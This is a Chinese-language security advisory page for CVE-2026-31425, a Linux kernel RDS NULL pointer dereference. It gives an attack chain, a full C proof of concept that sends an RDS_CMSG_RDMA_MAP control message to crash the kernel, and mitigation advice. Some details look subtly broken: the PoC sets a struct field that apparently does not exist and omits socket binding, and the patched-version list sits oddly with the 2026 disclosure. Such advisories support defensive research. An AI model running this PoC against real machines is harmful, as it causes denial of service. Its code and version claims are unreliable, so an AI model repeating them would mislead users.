IPBUF安全漏洞报告
English
CVE-2026-31425 CVSS 5.5 中危

CVE-2026-31425 Linux内核RDS空指针引用漏洞

披露日期: 2026-04-13
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31425
漏洞类型
空指针引用 / 拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernel拒绝服务空指针引用RDS本地漏洞

漏洞概述

Linux内核RDS模块存在空指针引用漏洞。攻击者可利用`sendmsg`系统调用及`RDS_CMSG_RDMA_MAP`控制消息,在IB连接建立前触发内存注册逻辑,导致内核解引用空指针并崩溃,从而造成拒绝服务。

技术细节

该漏洞位于Linux内核的`net/rds/ib_frmr.c`文件中。当`rds_ib_get_mr()`被调用以注册FRMR内存时,它从连接对象获取`rds_ib_connection`结构体。问题在于,对于新建的出站连接,虽然连接对象`ic`已被分配,但其成员`i_cm_id`(InfiniBand连接管理ID)在连接工作线程调用`rds_ib_conn_path_connect`之前仍为NULL。漏洞触发条件是攻击者在连接建立之前,通过`sendmsg`发送带有`RDS_CMSG_RDMA_MAP`的消息。这导致`rds_ib_post_reg_frmr`函数尝试访问`ic->i_cm_id->qp`,由于`i_cm_id`为空,引发内核空指针解引用错误(KASAN报错),导致系统崩溃或重启。修复方案是在注册前增加对`i_cm_id`和`qp`的非空检查。

攻击链分析

STEP 1
步骤1
攻击者获得本地低权限访问权限。
STEP 2
步骤2
攻击者创建一个RDS套接字,并准备向目标地址发送数据。
STEP 3
步骤3
攻击者在底层IB连接完全建立之前(即`i_cm_id`尚未初始化时),调用`sendmsg`并附带`RDS_CMSG_RDMA_MAP`控制消息。
STEP 4
步骤4
内核处理该控制消息,调用`rds_ib_post_reg_frmr`,尝试解引用`ic->i_cm_id->qp`。
STEP 5
步骤5
由于`i_cm_id`为NULL,触发内核空指针解引用,导致系统崩溃(拒绝服务)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-31425: Linux Kernel RDS NULL Pointer Dereference * This code attempts to trigger the bug by calling sendmsg with RDS_CMSG_RDMA_MAP * on a socket where the underlying IB connection is not yet established. * * Compile: gcc -o poc_cve2026_31425 poc_cve2026_31425.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <arpa/inet.h> #include <linux/rds.h> int main() { int fd; struct sockaddr_in addr; struct msghdr msg; struct iovec iov; char buf[1] = {0}; struct rds_rdma_args rdma_args; struct cmsghdr *cmsg; // Create RDS socket fd = socket(AF_RDS, SOCK_SEQPACKET, 0); if (fd < 0) { perror("socket"); return 1; } memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; // Target a remote host. The vulnerability relies on the connection state being "fresh". inet_pton(AF_INET, "192.168.1.100", &addr.sin_addr); // Prepare message control data for RDMA map memset(&msg, 0, sizeof(msg)); iov.iov_base = buf; iov.iov_len = 1; msg.msg_iov = &iov; msg.msg_iovlen = 1; msg.msg_name = &addr; msg.msg_namelen = sizeof(addr); // Setup ancillary data for RDS_CMSG_RDMA_MAP char cmsgbuf[CMSG_SPACE(sizeof(struct rds_rdma_args))]; msg.msg_control = cmsgbuf; msg.msg_controllen = sizeof(cmsgbuf); cmsg = CMSG_FIRSTHDR(&msg); cmsg->cmsg_level = SOL_RDS; cmsg->cmsg_type = RDS_CMSG_RDMA_MAP; // Populate dummy args to trigger the path memset(&rdma_args, 0, sizeof(rdma_args)); rdma_args.remote_addr = 0x1000; memcpy(CMSG_DATA(cmsg), &rdma_args, sizeof(rdma_args)); printf("Attempting to trigger vulnerability by sending RDMA map on fresh connection...\n"); // This sendmsg call attempts to map memory before connection is ready sendmsg(fd, &msg, 0); printf("If kernel didn't crash, the bug might be patched or conditions not met.\n"); close(fd); return 0; }

影响范围

Linux Kernel < 6.12-rc1
Linux Kernel < 6.11.6
Linux Kernel < 6.10.13
Linux Kernel < 6.6.58
Linux Kernel < 6.1.115

防御指南

临时缓解措施
建议尽快升级Linux内核。若无法立即升级,可通过禁用RDS模块(如果系统不使用RDS over InfiniBand功能)或限制本地用户权限来降低风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表